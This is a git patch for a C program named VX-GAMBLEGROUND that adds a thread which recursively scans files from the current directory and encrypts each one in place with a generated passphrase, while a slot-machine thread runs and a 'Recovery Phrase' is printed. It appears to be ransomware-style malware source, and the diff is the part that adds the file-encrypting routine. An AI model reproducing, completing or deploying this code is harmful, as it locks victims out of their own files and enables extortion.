From 17926756a0dc4b543bf99d887dec16593be158f1 Mon Sep 17 00:00:00 2001 From: "@syxhe" Date: Sat, 31 Aug 2024 01:56:44 -0500 Subject: Prime the encryption --- src/VX-GAMBLEGROUND.c | 40 ++++++++++++++++++++++++++++++++++++---- src/VX-GAMBLEGROUND.h | 9 +++++++++ 2 files changed, 45 insertions(+), 4 deletions(-) (limited to 'src') diff --git a/src/VX-GAMBLEGROUND.c b/src/VX-GAMBLEGROUND.c index c01ee5c..c513c46 100644 --- a/src/VX-GAMBLEGROUND.c +++ b/src/VX-GAMBLEGROUND.c @@ -89,7 +89,7 @@ int genphrase(char *phrase, size_t phrasesize) { phrase[i] = randombytes_uniform('Z' - 'A' + 1) + 'A'; phrase[phrasesize] = '\0'; - printf("%s\n", phrase); + printf("Recovery Phrase: %s\n", phrase); return 0; } @@ -97,6 +97,8 @@ int genphrase(char *phrase, size_t phrasesize) { // roflmao fuck this project i'm too tired to bother with making it nice int doslots(struct bullshit *stuff) { // I have no fucking clue why gcc complains that this isn't properly bracketed. Maybe im rarted + // No the compiler just complains randomly. Sometimes when I compile it's fine and other times it whines + // Gotta love open source stuff->handler = (struct sigaction){ .sa_flags = SA_SIGINFO, .sa_mask = SIGINT | SIGWINCH, @@ -154,6 +156,21 @@ int doslots_twrapper(void *passed) { return doslots((struct bullshit*)passed); } +int scanundencrypt(void *passed) { + struct sande *p = (struct sande *)passed; + p->scanned = scanfiles(p->STARTPATH, p->cmp); + if(p->scanned == NULL) + error(1, errno, "[VX-GAMBLEGROUND] filescan broke"); + + int fd = -1; + for(struct nodelist *p2 = p->scanned; p2 != NULL; p2 = p2->next) { + fd = open(p2->fullpath, O_WRONLY); + passencblock(fd, p->passphrase); + close(fd); + } + + return 0; +} int main(int argc, char *argv[]) { struct arguments args = { @@ -176,12 +193,16 @@ int main(int argc, char *argv[]) { struct bullshit stuff; + struct nodelist *files = NULL; + struct sande scanner = {.cmp = alphasort, .STARTPATH = "./", .scanned = files, .passphrase = passphrase}; strncpy(stuff.passphrase, passphrase, PHRASESIZE); - thrd_t slots; + thrd_t slots, filescan; + int err; if((err = thrd_create(&slots, doslots_twrapper, (void*)&stuff)) != thrd_success) - error(1, 0, "Thread creation failed: %d", err); - + error(1, 0, "[VX-GAMBLEGROUND] Could not start slots thread: %d", err); + if((err = thrd_create(&filescan, scanundencrypt, (void*)&scanner)) != thrd_success) + error(1, 0, "[VX-GAMBLEGROUND] Could not start filescanner thread: %d", err); // if(args.inputpass != NULL) { // printf("Using input passphrase \"%s\"\n", args.inputpass); @@ -216,6 +237,17 @@ int main(int argc, char *argv[]) { //*/ thrd_join(slots, NULL); + thrd_join(filescan, NULL); + + /* The perfectionist in me wants to deal with the producer/consumer problem and have 3 threads running: + // One for the slots, one for grabbing new files, and another for encrypting files. As of now, I do not + // care enough to bother with doing this and instead just wrote a "wrapper" for the filescan and encrypt + // functions. Maybe after a month break or so I might come back and improve this whole thing + // (it's a massive piece of shit in multiple places lol) */ + + for(struct nodelist *p = files; p != NULL; p = p->next) { + printf("%s\n", p->fullpath); + } return 0; } \ No newline at end of file diff --git a/src/VX-GAMBLEGROUND.h b/src/VX-GAMBLEGROUND.h index 182a51f..66e9383 100644 --- a/src/VX-GAMBLEGROUND.h +++ b/src/VX-GAMBLEGROUND.h @@ -2,6 +2,7 @@ #define __SLOTS__VXGAMBLEGROUND_H__1443534935301 #include "screen.h" +#include "search.h" struct arguments { char *inputpass; @@ -26,4 +27,12 @@ struct bullshit { struct params params; }; +struct sande { + struct nodelist* scanned; + const char *STARTPATH; + int (*cmp)(const struct dirent **, const struct dirent **); + + const char *passphrase; +}; + #endif \ No newline at end of file -- cgit v1.2.3